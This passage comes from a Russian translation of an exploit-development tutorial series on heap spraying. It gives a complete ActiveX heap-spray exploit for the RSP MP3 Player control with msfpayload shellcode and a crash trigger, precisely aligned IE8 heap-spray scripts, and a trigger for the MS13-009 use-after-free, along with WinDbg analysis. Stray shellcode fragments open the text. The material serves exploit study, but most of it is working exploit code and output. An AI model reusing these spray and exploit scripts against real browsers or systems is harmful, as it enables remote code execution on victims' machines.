%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9
%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51
%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83
%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d
%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2
%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638
%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798
%ud011%u258a%u066a%u0a1d%u58c4%u820b

Хорошо, теперь давайте очистим наш POC, добавим комментарии и добавим распыление, которое мы создали выше. Единственная модификация, которую мы должны внести в кучу, - это только что созданный шеллкод!

JavaScript:
<!--------------------------------------------------------------------------------
// Exploit: RSP MP3 Player OCX ActiveX Heap Spray                               //
// Author: b33f - http://www.fuzzysecurity.com/                                 //
// OS: Tested on XP PRO SP3                                                     //
// Browser: IE 7.00                                                             //
// Software: http://www.exploit-db.com/wp-content/themes/exploit/applications/  //
//           16fc339cccdb34dd45af52de8c046d8d-rsp_mp3_ocx_3.2.0_sw.zip          //
//------------------------------------------------------------------------------//
// This exploit was created for Part 8 of my Exploit Development tutorial       //
// series => http://www.fuzzysecurity.com/tutorials/expDev/8.html               //
--------------------------------------------------------------------------------->

<html>
  <head>
    <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
  </head>
  <body>
  <script>
 
    //msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
    var Shellcode = unescape(
    '%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43'+
    '%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0'+
    '%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9'+
    '%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51'+
    '%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83'+
    '%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d'+
    '%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2'+
    '%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638'+
    '%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798'+
    '%ud011%u258a%u066a%u0a1d%u58c4%u820b');

    var NopSlide = unescape('%u9090%u9090');
   
    var headersize = 20;
    var slack = headersize + Shellcode.length;
   
    while (NopSlide.length < slack) NopSlide += NopSlide;
    var filler = NopSlide.substring(0,slack);
    var chunk = NopSlide.substring(0,NopSlide.length - slack);
   
    while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
    var memory = new Array();
    for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
   
    // Trigger crash => EIP = 0x06060606
    pointer='';
    for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
    Oops.OpenFile(pointer);
   
  </script>
</body>
</html>

7.png
 
Часть 9: Spraying the Heap [Глава 2: Use-After-Free]

Здравствуйте и добро пожаловать обратно в 2 часть этого туториала из двух частей о распылении в куче. Этот туториал проведет вас через точное распылении в куче на браузере IE8. Существует два основных случая, когда вам нужно быть предельно точным с помощью распылении в куче: 1) вам приходится иметь дело с DEP, и в этом случае вы должны иметь возможность перенаправить поток выполнения в начало вашей цепочки ROP, 2) вы используете технику Use-After-Free и должны удовлетворять условиям метода vtable. Для вашего удовольствия (и боли) я хотел найти пример, который касается обеих этих проблем, однако многие из этих уязвимостей довольно сложны и не обязательно подходят для введения. Здесь нужно знать некоторые вещи. Этот туториал не фокусируется на анализе уязвимостей, так как всегда эти туториал рассказывают о препятствиях, с которыми вы столкнетесь при написании эксплоитов, и о том, как их преодолеть.

Сегодня мы рассмотрим уязвимость MS13-009. Вы можете найти модуль метасплоита здесь (https://www.exploit-db.com/exploits/24495/). Я также добавил несколько ссылок ниже к материалам для чтения, которые я очень рекомендую, если вы хотите лучше понять этот предмет.

Отлаживаемая машина: Windows XP SP3 with IE8
Links:
Exploit writing tutorial part 11 : Heap Spraying Demystified (corelan) - (https://www.corelan.be/index.php/20...g-tutorial-part-11-heap-spraying-demystified/)
Heap Feng Shui in JavaScript (Alexander Sotirov) - (http://www.phreedom.org/presentations/heap-feng-shui/)
Post-mortem Analysis of a Use-After-Free Vulnerability (Exploit-Monday) - (http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html)
Heap spraying in Internet Explorer with rop nops (GreyHatHacker) - (http://www.greyhathacker.net/?p=549l)
CVE-2013-0025 MS13-009 IE SLayouRun (Chinese analysis of ms13-009, you will probably need to load this from the google cache) - (http://www.hackdig.com/wap/?id=2239)

Введение

Я полагаю, что эта тема нуждается в некотором введении, однако вы обнаружите, что многие из препятствий, с которыми мы столкнемся, не являются для вас незнакомыми. Я не смогу углубиться во все тонкости, так как это займет много времени. Если некоторые из приведенных здесь тем кажутся вам незнакомыми, я предлагаю вам прочесть часть 7 ("Возвратно Ориентированное Программирование") и часть 8 ("Распыление в Куче" [Глава 1: Ванильный EIP]) этой серии туториалов в дополнение к материалам для чтения выше.

Прежде чем говорить о технике Use-After-Free, мы должны понять, что такое виртуальная табилца. Язык C++ позволяет базовым классам определять виртуальные функции. Производные классы базового класса могут определять собственную реализацию этих функций. Следовательно, виртуальные функции позволяют производным классам заменять реализацию, предоставляемую базовым классом. Компилятор гарантирует, что замена всегда вызывается всякий раз, когда рассматриваемый объект действительно является производным классом. Все это происходит во время выполнения.

Виртуальная таблица содержит указатели на различные реализации функций, определенных в базовом классе. Когда необходимо вызвать функцию во время выполнения, соответствующий указатель выбирается из виртуальной таблицы в соответствии с производным классом, который нуждается в нем. Мы можем увидеть графическое представление этого ниже.

1.png


Уязвимости Use-After-Free часто бывают довольно сложными. Обычно поток выполнения работает так: 1) в какой-то момент объект создается и связывается с виртуальной таблицей 2) позже объект вызывается указателем виртуальной таблицы. Если мы освободим объект до того, как он будет вызван, программа потерпит крах, когда позже попытается вызвать объект (например: попытается использовать объект после того, как он был освобожден — это и есть UAF).

Чтобы эксплуатировать эту ситуацию, мы в общем должны выполнить следующие шаги: 1) в какой-то момент объект создается, 2) мы запускаем функцию освобождения на этом объекте, 3) мы создаем наш собственный объект, который максимально приближен к размеру исходного объекта, 4) позже, когда будет вызван указатель виртуальной таблицы, будет использован наш поддельный объект, и мы получим выполнение кода.

Как обычно, все это звучит ужасно сложно, но с нашим практическим примером все станет более ясно. Сначала мы создадим надежное распыление в куче, чтобы избавиться от этого, а затем сосредоточим наше внимание на уязвимости ms13-009!

Кучи шеллкода

Как и в части 8, я хочу начать с получения надежного распыления в куче на браузере IE8. Продолжим работу, которую мы проделали, прежде чем мы сможем начать со следующего POC. Этот POC был немного изменен по сравнению с версией, которая была в части 8. Основным отличием здесь является то, что я добавил функцию под названием alloc, которая принимает наш буфер в качестве входных данных и корректирует размер выделений, чтобы они соответствовали спецификациям BSTR (нам нужно вычесть 6, чтобы компенсировать заголовок и нижний колонтитул BSTR и разделить на два, потому что мы используем Unicode Unescape).

JavaScript:
<html>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000; // 4096-bytes
    NopSlide = '';
    
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - Shellcode.length);
    
    var OBJECT = Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
    alert("Spray Done!");
    
</script>
</html>

Давайте быстро заглянем в отладчик и посмотрим, что произойдет, когда мы выполним это распыление.

Bash:
Looking at the default process heap we can see that our spray accounts for 98,24% of the busy blocks, we
can tell it is our spray because the blocks have a size of 0xfffe0 (= 1 mb).

0:019> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    fffe0 97 - 96fed20  (98.24)
    3fff8 3 - bffe8  (0.49)
    7ff8 f - 77f88  (0.30)
    1fff8 3 - 5ffe8  (0.24)
    1ff8 28 - 4fec0  (0.20)
    fff8 3 - 2ffe8  (0.12)
    3ff8 7 - 1bfc8  (0.07)
    ff8 13 - 12f68  (0.05)
    7f8 1e - ef10  (0.04)
    8fc1 1 - 8fc1  (0.02)
    5fc1 1 - 5fc1  (0.02)
    57e0 1 - 57e0  (0.01)
    3f8 15 - 5358  (0.01)
    4fc1 1 - 4fc1  (0.01)
    5e4 b - 40cc  (0.01)
    3980 1 - 3980  (0.01)
    20 1bb - 3760  (0.01)
    388 d - 2de8  (0.01)
    2cd4 1 - 2cd4  (0.01)
    480 7 - 1f80  (0.01)

Listing only the allocation with a size of 0xfffe0 we can see that our spray is huge stretching from
0x03680018 to 0x0d660018. Another important thing to notice is that the Heap Entry Addresses all seem
to end like this 0x????0018, this is a good indicator that our spray is reliable.

0:019> !heap -flt s fffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03680018 1fffc 0000  [0b]   03680020    fffe0 - (busy VirtualAlloc)
        03a30018 1fffc fffc  [0b]   03a30020    fffe0 - (busy VirtualAlloc)
        03790018 1fffc fffc  [0b]   03790020    fffe0 - (busy VirtualAlloc)
        038a0018 1fffc fffc  [0b]   038a0020    fffe0 - (busy VirtualAlloc)
        03b40018 1fffc fffc  [0b]   03b40020    fffe0 - (busy VirtualAlloc)
        03c50018 1fffc fffc  [0b]   03c50020    fffe0 - (busy VirtualAlloc)
[...snip...]
        0d110018 1fffc fffc  [0b]   0d110020    fffe0 - (busy VirtualAlloc)
        0d220018 1fffc fffc  [0b]   0d220020    fffe0 - (busy VirtualAlloc)
        0d330018 1fffc fffc  [0b]   0d330020    fffe0 - (busy VirtualAlloc)
        0d440018 1fffc fffc  [0b]   0d440020    fffe0 - (busy VirtualAlloc)
        0d550018 1fffc fffc  [0b]   0d550020    fffe0 - (busy VirtualAlloc)
        0d660018 1fffc fffc  [0b]   0d660020    fffe0 - (busy VirtualAlloc)


0:019> d 03694024-10
03694014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03694034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:019> d 03694024-10+2000
03696014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03696034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:019> d 03694024-10+4000
03698014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03698034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

We are particularly interested in the address 0x0c0c0c0c. Since this address has been allocate on the heap
by our spray we can use the command below we can find out which Heap Entry 0x0c0c0c0c belongs to.

0:019> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c010018 1fffc 0000  [0b]   0c010020    fffe0 - (busy VirtualAlloc)

Изображение ниже является визуальным представлением нашего распыления. Мы заполнили кучу 150 МБ наших собственных данных. Эти 150 МБ разделены на 150 чанков по 1 МБ (каждый чанк хранится как отдельный объект BSTR). Этот объект BSTR, в свою очередь, заполняется блоками размером 0x1000 (4096 байт), которые содержат наш шеллкод и наши нопы.

2.png


Пока все идет нормально! Затем нам нужно перераспределить наше распыление, чтобы переменная шеллкода указывала точно на адрес 0x0c0c0c0c, что будет началом нашей цепочки ROP. Подумайте, если адрес 0x0c0c0c0c выделен где-то в памяти из-за нашего распыления, тогда у него должно быть определенное смещение внутри нашего блока 0x1000. То, что мы хотим сделать, так это вычислить смещение от начала блока до адреса 0x0c0c0c0c и добавить его в качестве отступа к нашему распылению.

Bash:
|                        |                        |                        |
|       Shellcode        |                        |        Padding         |
|------------------------|                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        | <-- 0x0c0c0c0c         |------------------------| <-- 0x0c0c0c0c
|                        |     Points into our    |                        |     Points at the
|         NOP's          |     NOP's.             |       Shellcode        |     beginning of our
|                        |                        |                        |     shellcode.
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |        [+ NOP's]       |
|                        |                        |                        |
|     (0x1000 Block)     |                        |     (0x1000 Block)     |
|________________________|                        |________________________|

Если вы повторно запустите распыление выше, вы заметите, что адрес 0x0c0c0c0c не всегда будет указывать на одну и ту же запись кучи. Однако смещение от начала нашего шестнадцатеричного блока 0x1000 до адреса 0x0c0c0c0c всегда будет оставаться постоянным. У нас уже есть вся информация, необходимая для расчета размера нашего отступа.

Bash:
0:019> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c010018 1fffc 0000  [0b]   0c010020    fffe0 - (busy VirtualAlloc)
        
        
  0x0c0c0c0c (Address we are interested in)
- 0x0c010018 (Heap Entry Address)
  ----------
     0xb0bf4 => Distance between the Heap Entry address and 0x0c0c0c0c, this value will be different from
                spray to spray. Next we need to find out what the offset is in our 0x1000 hex block. We
                can do this by subtracting multiples of 0x1000 till we have a value that is smaller than
                0x1000 hex (4096-bytes).

       0xbf4 => We need to correct this value based on our allocation size => (x/2)-6
      
       0x5f4 => If we insert a padding of this size in our 0x1000 block it will align our shellcode
                exactly to 0x0c0c0c0c.

Давайте изменим POC и повторно запустим распыление в отладчике.

JavaScript:
<html>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
    Padding = '';
    NopSlide = '';
    
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%ub33f');}
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
    alert("Spray Done!");
    
</script>
</html>

Как мы можем видеть ниже, нам удалось перенастроить наш шелл-код на адрес 0x0c0c0c0c. Фактически, когда мы ищем в памяти строку «FuzzySecurity», мы можем видеть, что все местоположения оканчиваются одинаковыми байтами 0x?????c0c.

Bash:
0:019> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    fffe0 97 - 96fed20  (98.18)
    3fff8 3 - bffe8  (0.49)
    7ff8 f - 77f88  (0.30)
    1fff8 3 - 5ffe8  (0.24)
    1ff8 2b - 55ea8  (0.22)
    fff8 4 - 3ffe0  (0.16)
    3ff8 8 - 1ffc0  (0.08)
    ff8 13 - 12f68  (0.05)
    7f8 1e - ef10  (0.04)
    8fc1 1 - 8fc1  (0.02)
    5fc1 1 - 5fc1  (0.02)
    57e0 1 - 57e0  (0.01)
    3f8 15 - 5358  (0.01)
    4fc1 1 - 4fc1  (0.01)
    5e4 b - 40cc  (0.01)
    3980 1 - 3980  (0.01)
    20 1bb - 3760  (0.01)
    388 d - 2de8  (0.01)
    2cd4 1 - 2cd4  (0.01)
    480 7 - 1f80  (0.01)
    

0:019> s -a 0x00000000 L?7fffffff "FuzzySecurity"
[...snip...]
0c0c0c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
[...snip...]
0d874c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d876c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d878c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87ac0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87cc0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87ec0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...


0:019> d 0c0c0c0c-20
0c0c0bec  3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3  ?.?.?.?.?.?.?.?.
0c0c0bfc  3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3  ?.?.?.?.?.?.?.?.
0c0c0c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0c0c0c1c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c2c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c3c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c4c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c5c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Таким образом, теперь нам удалось перераспределить наше распыление таким образом, что мы можем заставить наш шеллкод указывать на произвольный адрес по нашему выбору (в данном случае адрес 0x0c0c0c0c). Распыление работает на браузере IE7-8 и было протестирована на Windows XP и Windows 7. С некоторыми изменениями оно может работать и в IE9, но это выходит за рамки данного руководства.

Смотрим ближе на уязвимость MS13-009

Как упоминалось ранее, основная цель этого туториала - не анализировать уязвимости, а понять, с какими препятствиями вы сталкиваетесь при написании эксплоита. Тем не менее, мы кратко рассмотрим уязвимость, чтобы понять, что происходит.

JavaScript:
<!doctype html>
<html>
<head>
<script>
 
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
    
    //CollectGarbage();
 
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
 
</script>
</head>
<body>
<p> </p>
</body>
</html>

Хорошо. Давайте посмотрим на отладчик, чтобы увидеть, что происходит, когда мы запускаем уязвимость. Вы заметите, что я добавил (но закомментировал) функцию CollectGarbage(). Во время тестирования я заметил, что ошибка немного ненадежна (всего около 80%), поэтому я экспериментировал с функцией CollectGarbage(), чтобы посмотреть, не улучшит ли это надежность. CollectGarbage() - это функция, предоставляемая javascript, которая очищает четыре корзины, которые реализованы с помощью специального механизма управления кучей в библиотеке oleaut32.dll. Это станет актуальным только позже, когда мы попытаемся разместить наш собственный поддельный объект в куче. По результатам моего тестирования я не смог определить, что это имеет какое-то значение, но если у кого-то есть какие-либо комментарии по этому поводу, оставьте комментарий ниже.

Из приведенного ниже потока выполнения мы видим, что объект пытается вызвать функцию в виртуальной таблице со смещением 0x70 от регистра EAX.

Bash:
0:019> g
(e74.f60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????


0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01            mov     eax,dword ptr [ecx]
3cf76982 8b5070          mov     edx,dword ptr [eax+70h]
3cf76985 ffd2            call    edx
3cf76987 8b400c          mov     eax,dword ptr [eax+0Ch]
3cf7698a c3              ret

Трассировка стека показывает нам, как проходил процесс выполнения, приводящий к сбою. Если мы ассемблируем данные по адресу возврата, на который должен был вернуться вызов, если он не вызвал сбой, мы увидим, как была вызвана наша функция. Кажется, что какой-то объект в регистре EBX передал свой указатель на виртуальную таблицу в регистр ECX, а затем на него ссылается функция mshtml!CElement::Doc для вызова функции со смещением 0x70.


Bash:
0:008> knL
 # ChildEBP RetAddr 
00 0162bca0 3cf149d1 mshtml!CElement::Doc+0x2
01 0162bcbc 3cf14c3a mshtml!CTreeNode::ComputeFormats+0xb9
02 0162bf68 3cf2382e mshtml!CTreeNode::ComputeFormatsHelper+0x44
03 0162bf78 3cf237ee mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
04 0162bf88 3cf237d5 mshtml!CTreeNode::GetFancyFormatHelper+0xf
05 0162bf98 3d013ef0 mshtml!CTreeNode::GetFancyFormat+0x35
06 0162bfb8 3d030be9 mshtml!CLayoutBlock::GetDisplayAndPosition+0x77
07 0162bfd4 3d034850 mshtml!CLayoutBlock::IsBlockNode+0x1e
08 0162bfec 3d0347e2 mshtml!SLayoutRun::GetInnerNodeCrossingBlockBoundary+0x43
09 0162c008 3d0335ab mshtml!CTextBlock::AddSpansOpeningBeforeBlock+0x1f
0a 0162d71c 3d03419d mshtml!CTextBlock::BuildTextBlock+0x280
0b 0162d760 3d016538 mshtml!CLayoutBlock::BuildBlock+0x1ec
0c 0162d7e0 3d018419 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59c
0d 0162d818 3d01bb86 mshtml!CLayoutBlock::BuildBlock+0x1c1
0e 0162d8dc 3d01ba45 mshtml!CCssDocumentLayout::GetPage+0x22a
0f 0162da4c 3cf5bdc7 mshtml!CCssPageLayout::CalcSizeVirtual+0x254
10 0162db84 3cee2c95 mshtml!CLayout::CalcSize+0x2b8
11 0162dc20 3cf7e59c mshtml!CView::EnsureSize+0xda
12 0162dc64 3cf8a648 mshtml!CView::EnsureView+0x340
13 0162dc8c 3cf8a3b9 mshtml!CView::EnsureViewCallback+0xd2
14 0162dcc0 3cf750de mshtml!GlobalWndOnMethodCall+0xfb
15 0162dce0 7e418734 mshtml!GlobalWndProc+0x183
16 0162dd0c 7e418816 USER32!InternalCallWinProc+0x28
17 0162dd74 7e4189cd USER32!UserCallWinProcCheckWow+0x150
18 0162ddd4 7e418a10 USER32!DispatchMessageWorker+0x306
19 0162dde4 3e2ec29d USER32!DispatchMessageW+0xf
1a 0162feec 3e293367 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
1b 0162ffa4 3e135339 IEFRAME!LCIETab_ThreadProc+0x2c1
1c 0162ffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
1d 0162ffec 00000000 kernel32!BaseThreadStart+0x37


0:008> u 3cf149d1-7
mshtml!CTreeNode::ComputeFormats+0xb2:
3cf149ca 8b0b            mov     ecx,dword ptr [ebx]
3cf149cc e8af1f0600      call    mshtml!CElement::Doc (3cf76980)
3cf149d1 53              push    ebx
3cf149d2 891e            mov     dword ptr [esi],ebx
3cf149d4 894604          mov     dword ptr [esi+4],eax
3cf149d7 8b0b            mov     ecx,dword ptr [ebx]
3cf149d9 56              push    esi
3cf149da e837010000      call    mshtml!CElement::ComputeFormats (3cf14b16)


We can confirm our suspicions by looking at some register values.

0:008> d ebx
00205618  78 01 4e 02 00 00 00 00-4d 20 ff ff ff ff ff ff  x.N.....M ......
00205628  51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  Q...............
00205638  00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00  ........R.......
00205648  00 00 00 00 00 00 00 00-00 00 00 00 80 3f 4e 02  .............?N.
00205658  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00205668  a5 0d a8 ea 00 01 0c ff-b8 38 4f 02 e8 4f 20 00  .........8O..O .
00205678  71 02 ff ff ff ff ff ff-71 01 00 00 01 00 00 00  q.......q.......
00205688  f8 4f 20 00 80 4b 20 00-f8 4f 20 00 98 56 20 00  .O ..K ..O ..V .

0:008> d ecx
024e0178  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e0188  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e0198  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01a8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01b8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01d8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01e8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0:008> r
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
Используя некоторые хитроумные точки останова, мы можем отслеживать распределения, которые сделаны функцией mshtml!CTreeNode, чтобы увидеть, появляются ли какие-либо знакомые значения. Результаты ниже показывают, что регистр EBX указывает на CparaElement и что функция, которая должна была быть вызвана равна Celement::SecurityContext. Похоже, это соответствует описанию уязвимости для MS13-009: "Уязвимость Use-After-Free в Microsoft Internet Explorer, когда освобождается узел CParaElement, но ссылка все еще сохраняется в CDoc. Эта память используется повторно при повторной компоновке Cdoc."

Bash:
0:019> bp mshtml!CTreeNode::CTreeNode+0x8c ".printf \"mshtml!CTreeNode::CTreeNode allocated obj at %08x,
ref to obj %08x of type %08x\\n\", eax, poi(eax), poi(poi(eax)); g"

0:019> g
mshtml!CTreeNode::CTreeNode allocated obj at 002059d8, ref to obj 024d1f70 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 024d1e80 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 0019ef80 of type 3cf6fb00
mshtml!CTreeNode::CTreeNode allocated obj at 00206218, ref to obj 024d1e80 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00205928, ref to obj 024d1be0 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206008, ref to obj 024ff7d0 of type 3cecfa78
mshtml!CTreeNode::CTreeNode allocated obj at 00205c98, ref to obj 024151c0 of type 3ceca868
mshtml!CTreeNode::CTreeNode allocated obj at 002054b0, ref to obj 024ff840 of type 3cedcfe8
mshtml!CTreeNode::CTreeNode allocated obj at 00205fb0, ref to obj 024d1c10 of type 3cee61e8
mshtml!CTreeNode::CTreeNode allocated obj at 00206060, ref to obj 030220b0 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002062c8, ref to obj 03022110 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00206320, ref to obj 03022170 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206378, ref to obj 024ffb88 of type 3cecfa78
